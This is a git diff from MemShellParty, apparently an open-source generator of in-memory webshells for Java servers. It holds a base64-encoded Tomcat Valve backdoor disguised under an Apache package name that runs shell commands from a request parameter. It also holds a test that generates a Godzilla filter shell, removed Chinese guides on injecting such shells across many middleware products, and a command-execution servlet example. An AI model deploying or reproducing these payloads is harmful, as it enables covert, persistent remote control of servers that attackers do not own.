String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
}
}
@@ -26,31 +26,22 @@ public class ConfigControllerIntegrationTest {
@Test @Test
public void testConfigEndpoint() { public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigServersEndpoint() { public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/config/servers", Map.class); ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
Map body = response.getBody();
assertNotNull(body);
} }
@Test @Test
public void testConfigPackersEndpoint() { public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/config/packers", List.class); ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
assertEquals(HttpStatus.OK, response.getStatusCode()); assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
List<String> body = response.getBody();
assertNotNull(body);
} }
} }
@@ -0,0 +1,58 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.InjectorConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/9/16
*/
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class MemShellGeneratorControllerTest {
@Autowired
TestRestTemplate restTemplate;
@Test
void generateShell() {
MemShellGenerateRequest request = new MemShellGenerateRequest();
request.setShellConfig(ShellConfig.builder()
.server(Server.Tomcat)
.shellType(ShellType.FILTER)
.shellTool(ShellTool.Godzilla)
.shrink(true)
.debug(true)
.serverVersion("Unknown")
.targetJreVersion(50)
.build());
request.setInjectorConfig(InjectorConfig.builder()
.urlPattern("/*")
.build());
request.setPacker(Packers.ScriptEngine);
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
shellToolConfigDTO.setGodzillaKey("key");
shellToolConfigDTO.setGodzillaPass("pass");
shellToolConfigDTO.setHeaderName("User-Agent");
shellToolConfigDTO.setHeaderValue("hello");
request.setShellToolConfig(shellToolConfigDTO);
ResponseEntity<MemShellGenerateResponse> response = restTemplate.postForEntity(
"/api/memshell/generate", request, MemShellGenerateResponse.class);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
}
+1 -1
View File
@@ -7,5 +7,5 @@ repositories {
} }
dependencies { dependencies {
implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0") implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
} }
@@ -3,7 +3,7 @@ plugins {
} }
mavenPublishing { mavenPublishing {
publishToMavenCentral(true) publishToMavenCentral(automaticRelease = true, validateDeployment = true)
signAllPublications() signAllPublications()
coordinates( coordinates(
"io.github.reajason", "io.github.reajason",
+7 -1
View File
@@ -9,10 +9,16 @@ idea {
} }
} }
version = "2.0.0" version = "2.7.2"
tasks.register("publishAllToMavenCentral") { tasks.register("publishAllToMavenCentral") {
dependsOn(":memshell-party-common:publishToMavenCentral") dependsOn(":memshell-party-common:publishToMavenCentral")
dependsOn(":packer:publishToMavenCentral") dependsOn(":packer:publishToMavenCentral")
dependsOn(":generator:publishToMavenCentral") dependsOn(":generator:publishToMavenCentral")
} }
tasks.register("publishAllToMavenLocal") {
dependsOn(":memshell-party-common:publishToMavenLocal")
dependsOn(":packer:publishToMavenLocal")
dependsOn(":generator:publishToMavenLocal")
}
-84
View File
@@ -1,84 +0,0 @@
## 适配情况
已兼容 Java6 ~ Java8、Java9、Java11、Java17、Java21
### 中间件以及框架
| Tomcat5 ~ 11 | Jetty6 ~ 11 | GlassFish3 ~ 7 | Payara5 ~ 6 |
|----------------------|------------------------|----------------------|----------------------|
| Servlet | Servlet | Filter | Filter |
| Filter | Filter | Listener | Listener |
| Listener | Listener | Valve | Valve |
| Valve | ServletHandler - Agent | FilterChain - Agent | FilterChain - Agent |
| ProxyValve | | | |
| FilterChain - Agent | | ContextValve - Agent | ContextValve - Agent |
| ContextValve - Agent | | | |
| Resin3 ~ 4 | SpringMVC | SpringWebFlux | XXL-JOB |
|---------------------|--------------------------|-----------------|--------------|
| Servlet | Interceptor | WebFilter | NettyHandler |
| Filter | ControllerHandler | HandlerMethod | |
| Listener | FrameworkServlet - Agent | HandlerFunction | |
| FilterChain - Agent | | NettyHandler | |
| JBossAS4 ~ 7 | JBossEAP6 ~ 7 | WildFly9 ~ 30 | Undertow |
|----------------------|----------------------------|------------------------|------------------------|
| Filter | Filter | Servlet | Servlet |
| Listener | Listener | Filter | Filter |
| Valve | Valve(6) | Listener | Listener |
| ProxyValve | | | |
| FilterChain - Agent | FilterChain - Agent (6) | ServletHandler - Agent | ServletHandler - Agent |
| ContextValve - Agent | ContextValve - Agent (6) | | |
| | ServletHandler - Agent (7) | | |
| WebSphere7 ~ 9 | WebLogic 10.3.6 ~ 14 |
|-----------------------|-------------------------|
| Servlet | Servlet |
| Filter | Filter |
| Listener | Listener |
| FilterManager - Agent | ServletContext - Agent |
| BES9.5.x | TongWeb6 ~ 8 | InforSuite AS 9 ~ 10 |
|----------------------|----------------------|------------------------|
| Filter | Filter | Filter |
| Listener | Listener | Listener |
| Valve | Valve | Valve |
| FilterChain - Agent | FilterChain - Agent | FilterChain - Agent |
| ContextValve - Agent | ContextValve - Agent | ContextValve - Agent |
| Apusic AS 9 ~ 10 | Primeton6.5 |
|---------------------|----------------------|
| Servlet | Filter |
| Filter | Listener |
| Listener | Valve |
| FilterChain - Agent | FilterChain - Agent |
| | ContextValve - Agent |
### 内存马功能
- [x] [Godzilla 哥斯拉](https://github.com/BeichenDream/Godzilla)
- [x] [Behinder 冰蝎](https://github.com/rebeyond/Behinder)
- [x] 命令执行
- [x] [Suo5](https://github.com/zema1/suo5)
- [x] [AntSword 蚁剑](https://github.com/AntSwordProject/antSword)
- [x] [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
- [x] Custom
### 封装方式
- [x] BASE64
- [x] GZIP BASE64
- [x] JSP
- [x] JSPX
- [x] JAR
- [x] BCEL
- [x] 内置脚本引擎、Rhino 脚本引擎
- [x] EL、SpEL、OGNL、Aviator、MVEL、JEXL、Groovy、JXPath、BeanShell
- [x] Velocity、Freemarker、JinJava
- [x] 原生反序列化(CB 和 CC 链)
- [x] Agent
- [x] XXL-JOB Executor
- [x] Hessian、Hessian2 反序列化(XSLT链)
- [ ] JNDI
- [ ] JDBC 连接
- [ ] 其他常见反序列化
+2 -2
View File
@@ -36,9 +36,9 @@ What you can learn or try from this project:
4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents. 4. Try using [Byte Buddy](https://bytebuddy.net/) to generate classes and write Agents.
5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project). 5. Try using Gradle to build Java projects (using platform for dependency version management, toolchain to compile JDK 6 source code even in a JDK 17 environment within the root project).
![normal_generator](../asserts/normal_generator.png) ![normal_generator](../assets/normal_generator.png)
![agent_generator](../asserts/agent_generator.png) ![agent_generator](../assets/agent_generator.png)
## Key Features ## Key Features
-130
View File
@@ -1,130 +0,0 @@
# Java 服务简介
以下服务仅我个人遇到的一些场景,与实际攻防场景可能仍有差距,但是在 MemShellParty
中可用于参考进行内存马生成。个别其他服务还请自行辨别其服务类型。如果有其他环境补充,欢迎 PR 交流学习~
## Tomcat
> https://tomcat.apache.org/
Tomcat 使用的是自己 Catalina 模块提供的 Servlets 实现,限制较少,在 MemShellParty 中,服务类型选 Tomcat 即可生成 Tomcat
内存马。
一般而言,SpringWebMVC 项目大多使用 Tomcat 提供 Servlets 容器功能,比如 Nacos,这种情况下可以选择 Tomcat 内存马注入。
其他服务中,致远 OA、Confluence、帆软使用的是 Tomcat。
## Jetty
> https://jetty.org/
Jetty6 版本使用的包名为 `org.mortbay.jetty`,而 7 以上使用的是 `org.eclipse.jetty`,在测试最新的 Jenkins 时,发现 Jetty11+
版本支持 ee8 ~ ee10 的环境,包名对应的是 `org.eclipse.jetty.ee8`,这些在 MemShellParty 中均已支持,因此服务类型选 Jetty
即可生成 Jetty 内存马。
在 SpringWebMVC 项目中也是有可能使用的。
## JBoss
> JBossAS: https://jbossas.jboss.org/downloads
> JBossEAP: https://developers.redhat.com/products/eap/download
JBoss 分为 JBossAS 和 JBossEAPJBossAS 全版本和 JBossEAP6 使用的 Catalina 模块提供的 Servlets 实现,JBossEAP7 及其以上使用的
[Undertow](https://undertow.io/) 提供的 Servlets 实现。
因此 JBossAS 4~7 以及 JBossEAP6 服务类型选择 JBoss 进行内存马的生成,而 JBossEAP7 服务类型需要选择
Undertow 进行内存马的生成。
## Wildfly
> https://www.wildfly.org/
Wildfly 使用的 [Undertow](https://undertow.io/) 提供的 Servlets 实现,因此服务类型选择 Undertow 生成内存马
## GlassFish
> https://glassfish.org/
GlassFish 使用的是 Catalina 提供的 Servlets 实现,但是使用了 OSGI 类加载模式,因此类限制较为严重,在 MemShellParty 中,服务类型选择
GlassFish 进行内存马的生成。
## Payara
> https://www.payara.fish/downloads/
基于 GlassFish 开发,服务类型选择 GlassFish 进行内存马的生成。
## Resin
> https://caucho.com/products/resin/download
Resin 使用的包名为 `com.caucho.`,服务类型选择 Resin 进行内存马的生成。
泛微 OA 使用的就是 Resin 提供的服务。
## WebLogic
> https://www.oracle.com/middleware/technologies/weblogic-server-installers-downloads.html
WebLogic 使用的包名为 `weblogic.`,服务类型选择 WebLogic 进行内存马的生成。
## WebSphere
> https://www.ibm.com/products/websphere-application-server
WebSphere 是 IBM 研发的商用 Servlets 容器,开源版本为 Websphere liberty
包名为 `com.ibm.`,服务类型选择 WebSphere 进行内存马的生成。
## BES
> https://www.bessystem.com/
BES 宝兰德,其基于 Tomcat 进行二开,在 BES 9.5.1 版本中没有进行包名修改,而在 BES 9.5.2
版本之后包名修改为了 `com.bes.enterprise.`。因此 BES 9.5.1 版本,服务类型选择 Tomcat 进行内存马的生成,BES 9.5.2+ 服务类型选择
BES 进行内存马的生成。
## TongWeb
> https://www.tongtech.com/sy.html
TongWeb 东方通,其基于 Tomcat 进行二开,并且在最初的 6 版本就进行了包名修改,每个版本都进行了修改。
- TongWeb6: `com.tongweb.web.thor.`
- TongWeb7: `com.tongweb.catalina.`
- TongWeb8: `com.tongweb.server.`
这三个版本在 MemShellParty 中均有适配,服务类型选择 TongWeb 进行内存马的生成。
## Apusic
> https://www.apusic.com/
金蝶中间件,Apusic9 疑似魔改自 GlassFish,不过改得面目全非了,自 Apusic10 开始使用原版 GlassFish 进行二开。因此 Apusic9
版本服务类型选择
Apusic 进行内存马生成,Apusic10 版本选择 GlassFish 进行内存马生成。
## Primeton
> https://www.primeton.com/products/pas/
普元中间件,Primeton6.5 版本基于 GlassFish
二开,高版本疑似做了包名修改,但没有环境,因此暂未适配([#60](https://github.com/ReaJason/MemShellParty/issues/60))因此当前仅支持
Primeton6.5 版本,服务类型选择 GlassFish 进行内存马生成。
## InforSuite
中创中间件,InforSuite 基于 GlassFish 进行二开,不过因为 InforSuite10 版本针对 filterConfigs 字段做了手脚改成了
iasFilterConfigs 因此 Filter 注入单独进行了适配。服务类型选择 InforSuite 进行内存马注入。
## SpringWebMVC
Spring 框架,默认的 MVC 架构,官方 Servlets 容器实现可选 Tomcat、Jetty 与 Undertow,也可打包成 war 包部署于任意 Servlets
容器上。内存马注入场景下不推荐框架内存马,而是具体的 Servlets 容器内存马,因为可绕过框架的限制(鉴权或其他)。服务类型选择
SpringWebMVC 进行内存马生成。
## SpringWebFlux
Spring Boot 项目中基于 reactor 异步 IO 模型的服务组件,底层使用的 Netty,一般常见于各种 SpringCloud 项目,例如网关。服务类型选择
SpringWebFlux 进行内存马生成。
-54
View File
@@ -1,54 +0,0 @@
## 如何使用自定义内存马功能
MemShellParty 参考 JMG 使用注入器和内存马分离的方式进行的内存马注入,注入的伪代码如下:
```java
Object context = getContext();
Object shell = defineClass(getShellBase64Str());
inject(context, shell);
```
自定义内存马就是开放 getShellBase64Str 的修改,通过生成界面传入内存马的 base64 或 class 文件来实现。
注入器的选择,在通过生成界面选完目标服务和挂载类型就已经确认好了,无法自定义。
### 实现参考
1. Servlets 相关内存马使用 javax.servlet 即可,当挂载类型选为 Jakarta 开头,在生成时会自动将 javax 改为
jakarta,无须重复实现。
2. Listener 内存马生成时,通过 request 对象获取 response 方法会自动将不同的中间件实现填充到 getResponseFromRequest
方法上,因此推荐按参考实现一样使用空实现。
3. Valve 内存马使用 Tomcat Valve 的包名 (`org.apache.catalina.`) 即可,当选中 BES/TongWeb 等会自动改为其特有的包名前缀,无须重复实现。
4. Agent 内存马推荐使用 `Thread.currentThread().getContextClassLoader()` 进行反射调用所需的工具类,因为 Agent
内存马类会放进所增强类的 ClassLoader 中,部分中间件会存在模块隔离,无法直接使用部分类,例如 `java.util.Base64`
`javax.crypto.Cipher`
| 挂载类型 | 参考实现 |
|----------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| Servlet/JakartaServlet | [GodzillaServlet](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java) |
| Filter/JakartaFilter | [GodzillaFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java) |
| Listener/JakartaListener | [GodzillaListener](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaListener.java) |
| Valve/JakartaValve | [GodzillaValve](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java) |
| ProxyValve/JakartaProxyValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| WebSocket/JakartaWebSocket | [GodzillaWebSocket](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java) |
| (SpringWebMVC)Interceptor/JakartaInterceptor | [GodzillaInterceptor](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaInterceptor.java) |
| (SpringWebMVC)ControllerHandler/JakartaControllerHandler | [GodzillaControllerHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaControllerHandler.java) |
| (SpringWebFlux)WebFilter | [GodzillaWebFilter](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebFilter.java) |
| (SpringWebFlux)HandlerMethod | [GodzillaHandlerMethod](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerMethod.java) |
| (SpringWebFlux)HandlerFunction | [GodzillaHandlerFunction](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaHandlerFunction.java) |
| NettyHandler | [GodzillaNettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaNettyHandler.java) |
| AgentFilterChain/AgentContextValve | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (SpringWebMVC)AgentFrameworkServlet | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Jetty)AgentHandler | [GodzillaJettyHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaJettyHandler.java) |
| (WAS)AgentFilterManager | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (WebLogic)AgentServletContext | [Godzilla](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/Godzilla.java) |
| (Undertow)AgentServletHandler | [GodzillaUndertowServletHandler](https://github.com/ReaJason/MemShellParty/blob/master/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaUndertowServletHandler.java) |
### 参考步骤
1. 执行 `git clone https://github.com/ReaJason/MemShellParty.git` 下载当前项目到本地
2. 在 memshell/src/main/java/com/reajason/javaweb/memshell/shelltool 创建 custom 目录进行自定义内存马的编写
3. 执行 `./gradlew :memshell:compileJava``.\gradlew.bat :memshell:compileJava`
4. 在 memshell/build/classes/java/main/com/reajason/javaweb/memshell/shelltool/custom 下可以找到编译好的类文件
5. 在生成界面,选择目标服务 - Custom - 挂载类型,上传 class 文件,选择打包方式并生成
Binary file not shown.

Before

Width:  |  Height:  |  Size: 174 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 282 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 130 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 326 KiB

-98
View File
@@ -1,98 +0,0 @@
# Java Servlet
Java SE 中我们可以创建 socket 服务端为用户提供服务,但需要用户使用 socket 客户端,当然也可以基于 socket 实现 HTTP 协议,WebFlux 就是这样子的存在。而在 Java EE 中,Java 制定了 Servlet 规范,来规范在 Java 中提供 HTTP 服务的编写方式,其中有两个重要的概念,Servlet 与 Servlet Container。Servlet 是基于 Java 的 Web 组件,由容器进行管理,提供动态内容。Servlet 容器用于提供基于请求/响应发送模式的服务,必须支持 HTTP,并且管理 Servlet 的生命周期,使 Servlet 在一个受限的安全环境中执行。
Servlet 规范旨在让开发者基于规范开发的应用,可以部署在任意满足规范的 Web 容器上。每个 Servlet 规范版本都引入了一些新的东西,Servlet 4.0 前的版本变更可查看 [java-servlet-version-history](https://www.codejava.net/java-ee/servlet/java-servlet-version-history)。
目前常见的 Servlet 规范就是 [Servlet 3.1](https://github.com/waylau/servlet-3.1-specification/blob/master/docs), Tomcat 8.x 版本就是 Servlet 3.1 版本,从 Servlet 5.0 开始,Java EE 更名为 Jakarta EE,包路径从 javax 改为 jakarta。目前最新的 Servlet 规范是 [Servlet 6.1](https://jakarta.ee/zh/specifications/servlet/6.1/)。另外可以 [在此](https://tomcat.apache.org/whichversion.html) 查看 Tomcat 容器支持的 Servlet 规范版本。
## ServletContext
> [Servlet 3.1 规范 - 4.1 ServletContext 接口介绍](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Servlet%20Context/4.1%20Introduction%20to%20the%20ServletContext%20Interface.md)
ServletContext 定义了 Servlet 运行的 Web 应用视图,一个 Web 应用对应一个 ServletContext。
ServletContext 必须支持编程式添加 Servlet、Filter 和 Listener,对框架开发者有用处。但是规定了这些方法只能在 ServletContextListener.contexInitialized 或 ServletContainerInitializer.onStartup 应用初始化的时候调用。
```java
addServlet(String servletName, String className);
addServlet(String servletName, Servlet servlet);
addServlet(String servletName, Class <? extends Servlet> servletClass);
addFilter(String filterName, String className);
addFilter(String filterName, Filter filter);
addFilter(String filterName, Class <? extends Filter> filterClass);
void addListener(String className);
void addListener(T t);
void addListener(Class <? extends EventListener> listenerClass);
```
这就是在注入内存马时我们需要先拿 Context 的原因(已经写在了 Servlet 规范里面啦),所以针对实现了 Servlet 规范的 Web 容器都是一个套路,并且该反射调用哪些方法也写在里面了。不过在实现的时候却写了那么多代码的原因就是,其规定了这些方法只能在应用初始化的时候调用,我们注入内存马的时候已经是应用运行时了,那些代码实际上就是将方法内的具体实现重新用反射实现一遍。
## HttpServlet
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
```java
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
```
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
```java
@WebServlet(/foo)
public class CalculatorServlet extends HttpServlet{
//...
}
```
```xml
<servlet>
<servlet-name>foo</servlet-name>
<servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>foo</servlet-name>
<url-pattern>/foo</url-pattern>
</servlet-mapping>
```
## ServletShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
```java
public class CommandServlet extends HttpServlet {
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
}
}
```
@@ -18,12 +18,12 @@
<dependency> <dependency>
<groupId>io.github.reajason</groupId> <groupId>io.github.reajason</groupId>
<artifactId>generator</artifactId> <artifactId>generator</artifactId>
<version>2.0.0-SNAPSHOT</version> <version>2.0.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>io.github.reajason</groupId> <groupId>io.github.reajason</groupId>
<artifactId>packer</artifactId> <artifactId>packer</artifactId>
<version>2.0.0-SNAPSHOT</version> <version>2.0.0</version>
</dependency> </dependency>
</dependencies> </dependencies>
@@ -1,6 +1,5 @@
package com.reajason.javaweb; package com.reajason.javaweb;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult; import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellTool;
